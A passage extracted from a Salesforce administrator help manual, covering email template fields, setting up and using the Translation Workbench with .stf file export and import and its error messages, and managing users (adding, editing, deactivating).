(HTML email templates only) Name of the column layout


sample that decides the text columns.

Encoding

Indicates the character set for the email template.

Folder

The place where the template is stored.

Last Used Date

The most recent date that any user sent an email using the
template.

Letterhead

(HTML email templates only) Name of the letterhead that


decides the logo, colors, and text settings. See Letterhead
Fields on page 471 for more details.

Modified By

The name of the user who last modified the template.

Namespace Prefix

The namespace prefix used by the email template within the


API.

Subject

Subject of the email. This text appears in the Subject field of


every email sent with this template. It is also used as the title
of an activity logged when sending a single email. The Activity
History item displays as Email: {Template Subject}. The
subject is not stored in Activity History items that you log
when sending mass email.

Email Template Name

Name to identify the template.

Text Body

Body of the email. This text appears in the body of every email
sent with this template. The maximum size is 384 KB.

486

Translation Workbench

Setting Up the Translation Workbench

Field

Description

Times Used

The total number of times that users have sent emails using
the selected template. This includes single and mass emails.

See Also:
Managing Email Templates

TRANSLATION WORKBENCH
Setting Up the Translation Workbench
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add or edit languages:

Manage Translation

To assign translators:

Manage Translation

To export or import translation files:

Manage Translation

To translate terms:

View Setup and Configuration


AND
Be designated as a translator

To override terms:

View Setup and Configuration


AND
Customize Application

The Translation Workbench lets you specify languages you want to translate, assign translators to languages, create translations
for customizations youve made to your Salesforce organization, and override labels and translations from managed packages.
Everything from custom picklist values to custom fields can be translated so your global users can use all of Salesforce in their
language.
Tip: When creating a custom report type that will be translated into multiple languages via the Translation Workbench,
we recommend that your personal language setting matches your organization's default language. This ensures that
words that will be translated display in the correct language for translators. For more information, see Editing Your
Personal Information on page 30 and Company Information Fields on page 444.

487

Translation Workbench

Setting Up the Translation Workbench

When a customized component is translated, changes to that component are tracked and the Out of Date indicator is set
when the translations need updating. You can manage translated values for any of Salesforce supported languages.
Note: Custom objects are not available in the translation workbench. Use the rename tabs and labels interface or the
IDE for custom object translation.
Enabling the Translation Workbench makes some changes to your Salesforce organization:

Picklist values must be edited individually. This means you cant mass edit existing picklist values, though you can still
mass add new values.
When picklist values are sorted alphabetically, the values are alphabetical by the organization's default language.
Reports have a Filter Language drop-down list in the Filters pane of the report builder. Selecting a language will filter
on translated strings for any filter criteria that use the "starts with," "contains," or "does not contain" operator.
Import files have a Language drop down and all records and values within the import file must be in that language.
Web-to-Lead and Web-to-Case have a Language drop down before you generate the HTML.
Note: Salesforce assumes all customizations are entered in the organization's default languageglobal administrators
should work together in the organization's default language.

To enable the Translation Workbench:


1. Click Your Name > Setup > Translation Workbench > Translation Settings.
2. On the welcome page, click Enable.
Note: The Manage Translation permission is enabled by default in the System Administrator profile.

To disable the Translation Workbench, click Your Name > Setup > Translation Workbench > Translation Settings >
Disable.
Note: In a Developer organization with a managed package containing translations, once the Translation Workbench
is enabled, it can't be disabled.

See Also:
Adding and Editing Translated Languages and Translators
Entering Translated Terms
Entering Overrides to Translations in Managed Packages
Updating Translated Terms
Administrator tip sheet: Setting Up the Translation Workbench
Localizing with the Force.com IDE
Salesforce Globalization Overview

488

Translation Workbench

Adding and Editing Translated Languages and Translators

Adding and Editing Translated Languages and Translators


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add or edit languages:

Manage Translation

Use the Translation Workbench to add languages that you support, activate or deactivate a language, assign translators for
that language, and enter translated terms for customizations you've made in your organization's default language.
Note: The Manage Translation permission is enabled by default in the System Administrator profile.

To add or edit translated languages and translators:


1.
2.
3.
4.

Click Your Name > Setup > Translation Workbench > Translation Settings.
Click Add to activate a new language or Edit to change an existing supported language.
If adding a new language, choose a language.
To make the entered translations available to your users - select Active. Users can change their personal language anytime
whether or not it's active in the Translation Workbench. Selecting Active makes the translations available to the users
in that language.
Tip: We recommend you don't make a language active until the translators have translated all values.

5. To assign translators for this language, select them from the Available List and click Add. If you don't see the member
you want to add, enter keywords in the search box and click Find.
Important: Ensure all translators have the "View Setup and Configuration" permission so that they can begin
translating. Users can only translate languages they're assigned to.
6. Click Save.

See Also:
Setting Up the Translation Workbench
Entering Translated Terms
Entering Overrides to Translations in Managed Packages
Updating Translated Terms

489

Translation Workbench

Translatable Customizations

Translatable Customizations
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To translate terms:

View Setup and Configuration


AND
Be designated as a translator

To override terms:

View Setup and Configuration


AND
Customize Application

To view the translatable customizations in your organization, select Your name > Setup > Translation Workbench > Translate
> Setup Component. Then, if needed, select Object, Custom Report Type Entity, or Aspect.
You can translate the following components.

Apex Sharing Reasons


Button and Link Labels
Custom App Labels
Custom Field Help
Custom Fields
Custom Report Types
Data Categories
Data Category Groups
Divisions
Layout Sections
Lookup Filters
Picklist Values
Record Types
Related List Labels
S-Controls
Solution Categories
Standard Field Help
Validation Error Messages
Web Tabs
Workflow Tasks

490

Translation Workbench

Entering Translated Terms

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.

See Also:
Setting Up the Translation Workbench
Entering Translated Terms
Entering Overrides to Translations in Managed Packages
Exporting Translation Files

Entering Translated Terms


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To translate terms:

View Setup and Configuration


AND
Be designated as a translator

To enter translations:
1. Click Your Name > Setup > Translation Workbench > Translate.
2. Select the Language you're translating into.
3. Select a Setup Component. Click the pull-down menu to select from the list of translatable customizations. See
Translatable Customizations for a complete list of possible customizations.
4. If necessary select an object and aspect. For example, workflow tasks have an object (Account, Contact, etc.) and aspect
(Subject or Comment).
5. Double click in the translation column to enter new values. You can press TAB to advance to the next editable field or
SHIFT-TAB to go to the previous editable field.
Note: The Out of Date column indicates that the item has been updated and the term may need translating.
When editing a button or link label, you see the Button or Link Name column, which is used to refer to the
component when using the SOAP API.

491

Translation Workbench

Entering Overrides to Translations in Managed Packages

6. Click Save.

See Also:
Setting Up the Translation Workbench
Adding and Editing Translated Languages and Translators
Entering Overrides to Translations in Managed Packages
Updating Translated Terms

Entering Overrides to Translations in Managed Packages


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To override terms:

View Setup and Configuration


AND
Customize Application

Although you can't edit labels or translations in a managed package, they are controlled by the developer, you can override
them with the Translation Workbench. For example, if there is a custom field in a package you'd like to change, you can
override it.
To enter overrides to managed packages:
1.
2.
3.
4.

Click Your Name > Setup > Translation Workbench > Override.
Select the Package you are overriding.
Select the Language you're entering your overrides in.
Select a Setup Component. Click the pull-down menu to select from the list of translatable customizations. See
Translatable Customizations for a complete list of possible customizations.
5. If necessary select an object and aspect. For example, workflow tasks have an object (Account, Contact, etc.) and aspect
(Subject or Comment).
6. Double click in the override column to enter new values. You can press TAB to advance to the next editable field or
SHIFT-TAB to go to the previous editable field.
Note: The Out of Date column indicates that the item has been updated and the term may need to be changed.
When editing a button or link label, you see the Button or Link Name column, which is used to refer to the
component when using the SOAP API.
7. Double click in the translation column to enter new values. You can press TAB to advance to the next editable field or
SHIFT-TAB to go to the previous editable field.
Note: The Out of Date column indicates that the item has been updated and the term may need translating.
When editing a button or link label, you see the Button or Link Name column, which is used to refer to the
component when using the SOAP API.

492

Translation Workbench

Updating Translated Terms

8. Click Save.

See Also:
Setting Up the Translation Workbench
Adding and Editing Translated Languages and Translators
Entering Translated Terms
Updating Translated Terms

Updating Translated Terms


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To override terms:

View Setup and Configuration


AND
Customize Application

When translated components are changed, the translated value is marked Out of Date. Translators are responsible for
keeping the translated terms updated.
For best results, have your translators check their translations frequently, and be sure to notify them when changes occur. You
can use the Translation Workbench Export > All feature to generate a list of all the translatable customizations and their
associated Out of Date states.

See Also:
Setting Up the Translation Workbench
Adding and Editing Translated Languages and Translators
Entering Translated Terms
Entering Overrides to Translations in Managed Packages

493

Translation Workbench

Exporting Translation Files

Exporting Translation Files


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To export or import translation files

Manage Translation
AND
Customize Application

Use Export in the Translation Workbench to create files that contain your organizations translatable custom metadata, such
as custom fields, report types, and picklist values. Send these files to your outside translators or translation agency for bulk
translation activities, then use Import to update your labels.
1. Go to Your name > Setup > Translation Workbench > Export.
2. Select which labels you want to export.

SourceUsed as the initial source for creating new translations.


Creates a single file that contains a list of all your translatable customizations. Typically, the content is in your
organization's default language.

UntranslatedUsed to make updates.


Creates a set of files that contain only customizations that have not been translated, including new and modified
customizations.
One file is created for each language. These files are then compressed into .zip files.

AllUsed for reference and reviewing all your untranslated and translated customizations.
Creates a list of all the translatable labels in their current translated or untranslated state.
One file is created for each language. These files are then compressed into .zip files.
The content in each file is divided into Untranslated and Translated sections. Each translatable label is in either the
Untranslated or Translated section, according to its translation state. In the Translated section, out of date status for
the labels in included.

3. Click Export.
A status message tells you that the export is being processed. When the export is complete an email is sent to the email
address specified in your profile.
4. Locate the exported .stf or .zip file.
Go to Your name > Documents > Document Folders > My Personal Documents > Go!.
All exported files indicate the Export option used to create them and are date and time stamped. Individual files end with
the extension .stf. Multiple files are grouped into .zip files.
If you have a large number of documents in your personal documents area, you'll find the exported files under the sort
letter:

494

Translation Workbench

Editing Translation Files

AAll export option, for example: All_2010-09-23_11:20.zip.


SSource export option, for example: Source_en_US_2010-09-23_11:20.stf.
UUntranslated export option, for example: Untranslated_2010-09-23_11:20.zip.

5. Save the files for translation by your translators or translation agency.


Click View > Save File > OK. The file is saved to the location specified by your browser. For example,
C:/Users/username/Downloads.

See Also:
Setting Up the Translation Workbench
Importing Translated Files

Editing Translation Files


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To override terms:

View Setup and Configuration


AND
Customize Application

You use the following types of files to translate customization labels and review translations:

Source: Use to translate labels for the first time.


Untranslated: Use to translate labels after the first translation pass.
Bilingual: Use to review and edit translations.

Translation files are identified by the extension .stf, to represent the Salesforce translation format. A translation filename
includes the name of the export option used to create it, the language code for the file's content, and a date stamp.
Multiple .stf files created with the Untranslated and Bilingual options are compressed into zip files up to 5 MB in size. If
multiple zip files are needed, the zip filenames are each date stamped and incremented. For example, Untranslated
20100920 05:13 1of2.zip

Caution: Consider the following when editing your .stf files:

Don't change the .stf file extension.


If you use tabs, new lines, or carriage returns in your text for translation, notice that they are represented with
special characters in the .stf file format. Tabs are \t, new lines are \n and carriage returns are \r. To ensure
consistency between your language versions, ensure these characters are maintained in your translations.

495

Translation Workbench

Editing Translation Files

Working with the Source File


Use the Source file to translate an organization's labels for the first time. The Source file contains labels for all of an organization's
translatable customizations in the organization's default language.
If you aren't using a standard translation tool such as Trados, work with the file using an application that supports tabs and
word wrap, such as WordPad or MS Excel.
Note: If you use MS Excel to enter translations in your .stf file, your file format may be corrupted. MS Excel
automatically adds quotation marks around entries that have commas. We advise you open your files in a text editor
before import and remove these quotation marks if they have been added. The import will fail if these quotation marks
are not removed.
To prepare the Source file for your translators:

Create one copy of the Source file for each language you are translating into.
In the header of each Source file, change the language code from the organization's default language (such as en_US) to
the translation language (such as fr).

Tell your translators to replace the untranslated values in the LABEL column with translated values.
Note: Don't add columns to or remove columns from the translation file.

Column

Description

Edit Options

KEY

Unique identifiers for labels

Do not edit

LABEL

Labels that are visible to end users

Replace untranslated values with


translated values

Working with the Untranslated File


Use the Untranslated file to translate labels that haven't been translated. One Untranslated file is generated for each language.
When multiple files are generated, they're exported to a .zip file containing .stf files for each translation language.
If you aren't using a standard translation tool such as Trados, work with the file using an application that supports tabs and
word wrap, such as WordPad or MS Excel.
Note: If you use MS Excel to enter translations in your .stf file, your file format may be corrupted. MS Excel
automatically adds quotation marks around entries that have commas. We advise you open your files in a text editor
before import and remove these quotation marks if they have been added. The import will fail if these quotation marks
are not removed.
Tell your translators to replace the untranslated values in the LABEL column with translated values.
Note: Don't add columns to or remove columns from the translation file.

Column

Description

Edit Options

KEY

Unique identifiers for labels

Do not edit

LABEL

Labels that are visible to end users

Replace untranslated values with


translated values

496

Translation Workbench

Editing Translation Files

Working with the Bilingual File


Use the Bilingual file to review translations, edit labels that have already been translated, and add translations for labels that
haven't been translated. One Bilingual file is generated for each translation language.
The TRANSLATED section of the file contains the text that has been translated and needs to be reviewed. The
UNTRANSLATED section of the file contains text that hasn't been translated.
Edit the file using an editing application that supports tabs and word wrap, such as WordPad or MS Excel.
Note: If you use MS Excel to enter translations in your .stf file, your file format may be corrupted. MS Excel
automatically adds quotation marks around entries that have commas. We advise you open your files in a text editor
before import and remove these quotation marks if they have been added. The import will fail if these quotation marks
are not removed.

Identify labels that are out of date by scrolling through the OUT OF DATE column to locate values that have an asterisk
(*). Update out of date labels as needed.
Edit translated labels in the TRANSLATION column of the TRANSLATED section.
Replace untranslated labels with translated values in the LABEL column of the UNTRANSLATED section.
Delete a translation by replacing the desired value in the TRANSLATION column in either section with a left and right
angle bracket pair (< >). When the Bilingual file is imported, the label reverts to its original value.
Attention: Don't attempt to delete a translation by deleting a translated label from the file. Deleting a translation
in the file doesn't remove the translation from the application after the file is imported.

Note: Don't add columns to or remove columns from the translation file.

Column

Description

Edit Options

KEY

Unique identifiers for labels

Do not edit

LABEL

Labels that are visible to end users

TRANSLATION

Current translation

Do not edit labels in the


TRANSLATED section of the file
In the UNTRANSLATED section of
the file, replace untranslated labels with
translated values
In the TRANSLATED section of the
file, edit current translations
In the UNTRANSLATED section of
the file, add translations

497

Translation Workbench

Importing Translated Files

Column

Description

Edit Options

OUT OF DATE

Indicates whether the source text has changed


since the previous translation.

Do not edit

The out of date indicators are:


An asterisk (*): The label is out of date. A
change was made to the default language
label and the translation hasn't been updated.
A dash (-): The translation is current.

See Also:
Setting Up the Translation Workbench
Exporting Translation Files
Importing Translated Files
What languages does Salesforce support?

Importing Translated Files


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To export or import translation files

Manage Translation
AND
Customize Application

Use Import in the Translation Workbench to import and update the translations for your organizations custom metadata,
such as custom fields, report types, and picklist values. Typically, the original files are created through the Export feature, then
sent to your outside translators or translation agency for bulk translation activities and returned to you for importing.
1. Bundle multiple files into .zip files that are no larger than 5 MB. Create multiple .zip files as needed.
The zipped files don't have to be in the same order or grouping as the exported .zip files.
For example, you start with two exported .zip files. The first file includes French, Italian, and Japanese. The second file
includes Russian, Simplified Chinese, and Greek. You can create:

One .zip file with French, Greek, and Italian.


One .zip file with Russian and Greek.
One .zip file with Simplified Chinese.

2. Go to Your name > Setup > Translation Workbench > Import.


3. Click Browse to locate and select the file you want to import.

498

Translation Workbench

Troubleshooting Issues with Exporting and Importing Translation Files

4. Click Import.
After the import is complete:

The labels are updated with the translations.


A confirmation email is sent to the email address specified in your profile.

5. Verify the imported changes have been implemented. You can:

Check labels in your Salesforce organization.


Check labels through the Translation Workbench.

See Also:
Setting Up the Translation Workbench
Exporting Translation Files

Troubleshooting Issues with Exporting and Importing


Translation Files
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To export or import translation files

Manage Translation
AND
Customize Application

Use this table to troubleshoot issues you might encounter while exporting and importing files in the Translation Workbench.
Error Message

What It Means

Troubleshooting Steps

Bilingual File starts with non-section


header row: {0}

The header rows of the file youre trying


to import are missing, or there is
extraneous text (such as notes that aren't
commented out) in those rows.

Export your file again and make sure


there are header rows for all sections, and
that all extraneous text has been
commented out or removed from the
header rows.

Duplicate key: {0} exists in import file,


please re-export.

The specified key appears in your


Export your file again and make sure that
imported file more than once. Each
each key in it is unique, and then
translated item needs to have its own
re-import the file.
unique key, and each key can only appear
in the file one time.

499

Translation Workbench

Troubleshooting Issues with Exporting and Importing Translation Files

Error Message

What It Means

Troubleshooting Steps

Invalid Key

During translation, Salesforce generates Export your file again and make sure the
unique keys, or identifiers, for each
keys in it match those in the file youre
object, picklist value, or page element
trying to import.
youre translating. If these names or keys
are changed after you export your file,
Salesforce cant match the correct key
with the correct name.

Key: {0} could not be uniquely resolved. One of the keys in your Custom Report Export your file again and make sure
This is caused by a change to our Custom Type (CRT) column is in the wrong
youre using the correct CRT key format.
Report Type Column key format. Please format.
re-export and use the new key format for
those keys.
Maximum character limit {x} for {field
type} translation exceeded in line:

Each type of field, such as a picklist


Edit your translated labels so theyre
value, can only have a certain number of within the character limit listed for the
characters. Your translated labels for the field type and import your file again.
type of field at the line specified in the
error message are too long.

No data to import

The file youre trying to import is empty Make sure youre importing the correct
or does not contain any translation
file, and that it contains translated data.
changes.

No language code specified in file header The file youre trying to import doesnt Make sure your language code is valid
have a valid language code, or the
and isn't missing or commented out.
language code is in the wrong place.
No translated or untranslated section
header found in the bilingual file

The file youre trying to import is missing Make sure your file has section headers
section headers.
and import it again.

No valid file type specified in file header The file youre trying to import doesnt Make sure your file has a valid
have a valid import/export type (Source, import/export type in the file header, and
Untranslated, or Bilingual) specified in that the header did not get translated.
the file header. The file type should be
in the default language for your
organization.
Not a valid file to import. Please select a You can only import files in .stf format Make sure your file is a .stf or a .zip file
.stf or a .zip file for import.
or .zip files that contain .stf files.
and try importing it again.
Wrong number of columns in line: {x}. The file youre importing has extra tabs,
Check that you have escaped tabs (\\t), newlines, or carriage returns in the line
new lines (\\n), and carriage returns (\\r) specified in the error message.
in your files.

Edit your data to remove or escape any


extra tabs, newlines, or carriage returns,
and make sure the file youre importing
has the same number of columns as the
file you exported.

Your export request failed. Please retry


or contact support.

Salesforce had an unexpected problem


while exporting your file.

Contact Salesforce Customer Support.

Your import request failed. Please retry Salesforce had an unexpected problem
or contact support.
while importing your file.

Contact Salesforce Customer Support.

500

Translation Workbench

Salesforce Globalization Overview

Error Message

What It Means

Troubleshooting Steps

Your organization does not have


language permissions for {language}.

The file youre trying to import is in a


language you havent yet added to the
Translation Workbench.

Add the language you want to use to the


Translation Workbench and import your
file again.

See Also:
Adding and Editing Translated Languages and Translators
Exporting Translation Files
Importing Translated Files

Salesforce Globalization Overview


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add or edit languages:

Manage Translation

To assign translators:

Manage Translation

To export or import translation files:

Manage Translation

To translate terms:

View Setup and Configuration


AND
Be designated as a translator

To override terms:

View Setup and Configuration


AND
Customize Application

There are multiple tasks that you can perform to globalize Salesforce.

Changing an Organization's Default Language


As an administrator, you can change your organization's default language. The default language is assigned to all new users.
The labels in the application display in the language selected by the user and are not changed by changing the default language.
As an end user, you can change your language. All default labels are displayed in the selected language. Customizations must
be translated in order for them to appear in any language other than the default language.

Translating Customizations
You can translate customizations by using either the Translation Workbench or Force.com IDE.

501

User Management

User Management Overview

If you need to translate a small number of customizations, you can use the Translation Workbench's point-and-click
interface to translate them quickly and easily. For information, see Entering Translated Terms on page 491.
If you need to translate a large number of customizations into multiple languages, we recommend that you use either of
the following tools:
The Translation Workbench Export and Import options are useful if you prefer to manage translations by using an
administrative user interface and adding translations to easy-to-use translation files. See Translation Workbench Export
and Import Quick Start Guide.
The Force.com IDE is useful if you are already using the Force.com IDE, or prefer to manage translations by using a
developer interface and adding translations to an XML file. See Localizing with the Force.com IDE.

Translating Custom Labels


Custom labels enable you to create multilingual applications by presenting information (for example, help text or error messages)
in a user's native language. Additionally, custom labels are custom text values that can be accessed from Apex classes or
Visualforce pages. Custom label values can be translated into any language that Salesforce supports. See Creating and Editing
Custom Labels on page 1727.

Setting up International Organizations to Use Multiple Currencies


Salesforce provides multi-currency support for opportunity management, forecasting, and reporting. When you set up
international organizations to use multiple currencies, each international division can track, forecast, and report on opportunities
in local currencies, while providing company-wide reporting and forecasting in a single common currency. See International
Organizations: Using Multiple Currencies.

Setting up Salesforce Knowledge to Support Multiple Languages


Salesforce Knowledge is a knowledge base in which users can easily create and manage content, known as articles, and quickly
find and view the articles they need. You can translate articles into multiple languages so that customers and support agents
can find content in their preferred languages. See Setting up a Multilingual Knowledge Base on page 1514.

USER MANAGEMENT
User Management Overview
The available user management options vary according to which Salesforce Edition you have.

In Salesforce, every user is identified by a username, password, and a single profile. The profile determines what tasks users
can perform, what data they see, and what they can do with the data.
Depending on your organization's Salesforce edition and the additional features your organization has purchased, you may
have user licensessuch as Marketing, Connect Offline, and Sales Anywherewhich give users the ability to access other
features that are only available with a specific user license. A user can be assigned to one or more of these licenses. You can
also set up accounts for users outside your organization who need to access a limited set of fields and objects. These user licenses
can grant access to Customer Portal, partner portal, or Self-Service. Finally, using Salesforce to Salesforce, you can create
connections to share records with other Salesforce users outside of your organization.

502

User Management

Viewing and Managing Users

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
As an administrator, you can perform user management tasks such as creating and editing users, resetting passwords, and
creating Google Apps accounts. You can also grant permissions, create and manage other types of users, create custom fields,
set custom links, run reports on users, and delegate user administration tasks to other users.
You can control a user's access to data in several ways:

To control access to applications and objects, including fields and record types within objects, use profiles and permission
sets.
To control access to specific records, use sharing settings and rules.

See Also:
Overview of User Permissions and Access
User Profiles Overview
Permission Sets Overview
Overview of Sharing Settings
Securing Data Access

Viewing and Managing Users


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Customer Portal and partner portals are not available in Database.com

User Permissions Needed


To view user lists :

View Setup and Configuration

To view and manage the users in your organization, click Your Name > Setup > Manage Users > Users. The user list shows
all the users in your organization, partner portal, and Salesforce Customer Portal. From the user list, you can:

Show a filtered list of users by selecting a list from the View drop-down list.
Edit or create custom list views. For example, create a view with search criteria of Profile Name equals Read Only to
show all users with the Read Only profile.
Create one user.
Create multiple users.
Reset passwords for selected users.
Edit a user.
View a user's detail page by clicking the name, alias, or username.
View or edit a profile by clicking the profile name.
Export users to Google and create Google Apps accounts (if Google Apps is enabled in your organization).

503

User Management

Viewing and Managing Users

To create other types of users, see:

Enabling the Customer Portal for Contacts and Person Accounts on page 205
Self-Service for Contacts and Person Accounts on page 202
Creating Partner Users on page 3492

Tips for Managing Users

You can create custom fields for users and set custom links to display on the user detail page. To access these options, click
Your Name > Setup > Customize > Users.
You can use the sidebar search to search for any user in your organization, regardless of the user's status. However, when
using a lookup dialog from fields within records, the search results return only active users. You can also run user reports
in the Reports tab.
To simplify user management in organizations with large numbers of users, delegate aspects of user administration to
non-administrator users.
Note: You cannot delegate administrative duties related to your organization to partner portal or Customer Portal
users. However, you can delegate some portal administrative duties to portal users.

See Also:
Expiring Passwords
Deactivating Users
Logging In as Another User
Granting Checkout Access
Setting Quotas for Customizable Forecasting
Assigning Users to Roles
User Fields
Editing Your Personal Information
About Customer Portal User Management

Adding a Single User


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create new users:

Manage Users

The maximum number of users you can create is determined by your Edition.
To create a new user for your organization:
1. Click Your Name > Setup > Manage Users > Users.
2. Click New User.

504

User Management

Viewing and Managing Users

3. Enter the users first name, last name, and email address. The email address becomes the username.
Note: If the user's name includes non-English characters, the user must add the specified language to the mail
format settings within Outlook if viewing email in Outlook.
4. In Professional, Enterprise, Unlimited, and Developer Editions, select a Role. Depending on your organizations sharing
settings, roles can specify the level of visibility that users have into your organizations data. For more information, see
Overview of Roles on page 515.
5. Select a User License. The profiles available to you depend on the user license you choose.
Note:

Some options become unavailable depending on the license type you choose. For example, the Marketing
User and Allow Forecasting options are not available for Force.com user licenses because the Forecasts
and Campaigns tabs are not available to users with a Force.com license. Force.com user licenses are not available
for Professional, Group, or Contact Manager Editions.
You can change a Salesforce license to a Force.com license, but you cant change a Force.com license to a
Salesforce license. For more details, see Understanding User License Types on page 602.

6. Select a profile, which specifies the user's minimum permissions and access settings. For more information, see User Profiles
Overview on page 521.
7. Select the other options and enter the remaining user information as needed. For more information on the options and
fields, see User Fields on page 32.
8. If your organization has Approvals enabled, you can set the user's approver settings, such as delegated approver, manager,
and preference for receiving approval request emails.
9. In Unlimited, Enterprise and Developer Edition organizations, you can select Send Apex Warning Emails to send
email to the user when an application that invokes Apex uses more than half of the resources specified by the governor
limits. This feature can be used during Apex code development to test the amount of resources being used at runtime. For
more information, see Apex Code Overview on page 1994.
10. Check Generate new password and notify user immediately to have the users login name and a temporary
password emailed to the new user.
To create other types of users:

For Salesforce Customer Portal users, see Enabling the Customer Portal for Contacts and Person Accounts on page 205.
For Self-Service portal users, see Self-Service for Contacts and Person Accounts on page 202.
For partner users, see Creating Partner Accounts on page 3489.

See Also:
Salesforce Editions and Limits
Editing Users
Adding Multiple Users
Deactivating Users
Viewing and Managing Users
Setting Up Your Customer Portal
Setting Up Self-Service

505

User Management

Viewing and Managing Users

Adding Multiple Users


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create new users:

Manage Users

The maximum number of users you can create is determined by your Edition.
The Add Multiple Users page provides a way to quickly add users to your organization. Depending on the number of available
licenses, you can create up to 10 users. With this page, you specify the minimum information needed. Once youve created
the users, edit individual users to specify more details for each one.
To add multiple users:
1. Click Your Name > Setup > Manage Users > Users.
2. Click Add Multiple Users.
3. If multiple user license types are available in your organization, select the user license you want to associate with the users
youll create. The user license determines the available profiles. If only one type of license is available, its automatically
selected.
4. Specify the information for each user.
Field

Description

First Name

The users first name.

Last Name

The users last name.

Email (User Name)

The users email address. The email address entered here


becomes the username.

Profile

Specifies the user's minimum permissions and access settings.


For more information, see User Profiles Overview on page
521.

Role

If roles are set up for your organization, specifies the level


of visibility that the user has into your organizations data.
For more information, see Overview of Roles on page 515.

5. Select Generate passwords and notify user via email to email a login name and temporary password to each
new user.

506

User Management

Viewing and Managing Users

6. Click Save.

See Also:
Editing Users
Understanding User License Types
Salesforce Editions and Limits
Adding a Single User

Editing Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To edit users:

Manage Users

To view or edit user information:


1. Click Your Name > Setup > Manage Users > Users.
You can also edit your organization's users from the Users in Role related list in the role detail page.
2. Click Edit next to a users name.
3. Change the settings as needed. For details, see User Fields on page 32. Additionally, be aware of the following behaviors
and options when editing a user.

If you change a users email address and Generate new password and notify user immediately is deselected,
a confirmation message will be sent to the new email address that you entered. The user must click the link provided
in that message for the new email address to take effect. This process ensures system security. When generating a new
password for a user, the new password is automatically sent to the users email address and email verification is not
enforced.
If you change a user's username, a confirmation email with a login link is sent to the email address associated with that
user account. If the user has problems logging into future sessions, they can use the link in the email. Problems might
occur because an organization could have multiple login servers. It may take up to 24 hours for the username change
to replicate to all of them. The link in the email connects directly to the server where the actual username change was
made. This ensures that users can always log in, even if server replication is slow.
Click Unlock to unlock a user that is locked out of Salesforce. This button is only available when a user is locked out.
If your organization has managed packages installed, click Assign Licenses to assign a package license to the user.
Click Remove to remove a license assigned to the user.
Click Grant Checkout Access to grant the user access to Checkout.

4. Click Save.

507

User Management

Viewing and Managing Users

Note:

Users can change or add to their own personal information after they log in.
Administrators can restrict the domain names of users email addresses to a list of explicitly allowed domains. Any
attempts to set an email address with another domain will result in an error message. Contact salesforce.com to
enable this functionality for your organization.

See Also:
Assigning Users to Roles
Resetting Passwords
Viewing and Managing Users
Understanding User License Types
About Customer Portal User Management

Viewing the Public Group Membership Related List


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view user details:

View Setup and Configuration

To view the public groups a user is a member of, click Your Name > Setup > Manage Users > Users and select the user. In
the Public Group Membership related list, you can:

Click New Group to create a public group.


Click a public group name to view its details.

See Also:
About Groups

508

User Management

Viewing and Managing Users

Viewing the Queue Membership Related List


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view user details:

View Setup and Configuration

To view the queues a user is a member of, click Your Name > Setup > Manage Users > Users and select the user. In the
Queue Membership related list, you can:

Click New Queue to create a queue.


Click a queue name to view its details.

See Also:
Managing Queues

Deactivating Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To deactivate users:

Manage Users

You can't completely delete users from the system, but you can deactivate their logins so that they can no longer use the service.
1. Click Your Name > Setup > Manage Users > Users.
2. Click Edit next to a users name.
3. Deselect the Active checkbox and click Save.
If the user is a member of account, sales, or case teams, Salesforce prompts you to remove the user from those teams.
Tips on Deactivating Users
Consider the following when deactivating users:

Deactivated users lose access to any records that were manually shared with them, or records that were shared with them
as team members. However, you can still transfer their data to other users and view their names on the Users page.
Deactivated users are removed from the default sales and account teams of other users. The deactivated users' default sales
and account teams are not removed.
If a user on an account team has Read/Write access (Account Access, Contact Access, Opportunity Access, and Case
Access) and is deactivated, the access will default to Read Only if the user is reactivated.

509

User Management

Viewing and Managing Users

Deactivated users continue to own opportunities and appear in forecasts and territories. When users are deactivated, their
opportunity forecast overrides, adjusted total overrides, and manager's choice overrides on subordinates' forecasts are frozen.
However, the manager of a deactivated user can apply manager's choice overrides to that user's forecasts. Rollup amounts
are kept current. If a deactivated user is later reactivated, the user can resume normal work as before. If Allow Forecasting
is disabled for a user who is deactivated, the user is removed from any territories her or she is assigned to. For more
information on territories, see Territory Management Overview on page 2638.
A deactivated user doesn't count against your organizations available user licenses. However, deactivating a user doesn't
reduce the number of licenses for which your organization is billed; you must change your organizations license count to
change your billing. See Adding or Subtracting User Licenses on page 3507.
You can't deactivate a user selected as a Customer Portal Administrator. For more information, see Enabling Customer
Portal Login and Settings on page 1671.
You can't deactivate a user selected in a custom hierarchy field even if you delete the field. You must delete and permanently
erase the field first. For more information, see Managing Deleted Custom Fields on page 1105.
When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the option to remove
the portal user from any teams that user is a member of.
If opportunity splitting is enabled and a user is deactivated, the user is not removed from any opportunity sales teams on
which the user is assigned a split percentage. To remove the user from the opportunity sales team, you must first reassign
the split percentage. For more information on assigning split percentages to sales team members, see Adding Sales Team
Members on page 2635.
If Chatter is enabled and you deactivate a user, the user is removed from Following and Followers lists. If you reactivate
the user, the subscription information in the Following and Followers lists is restored.
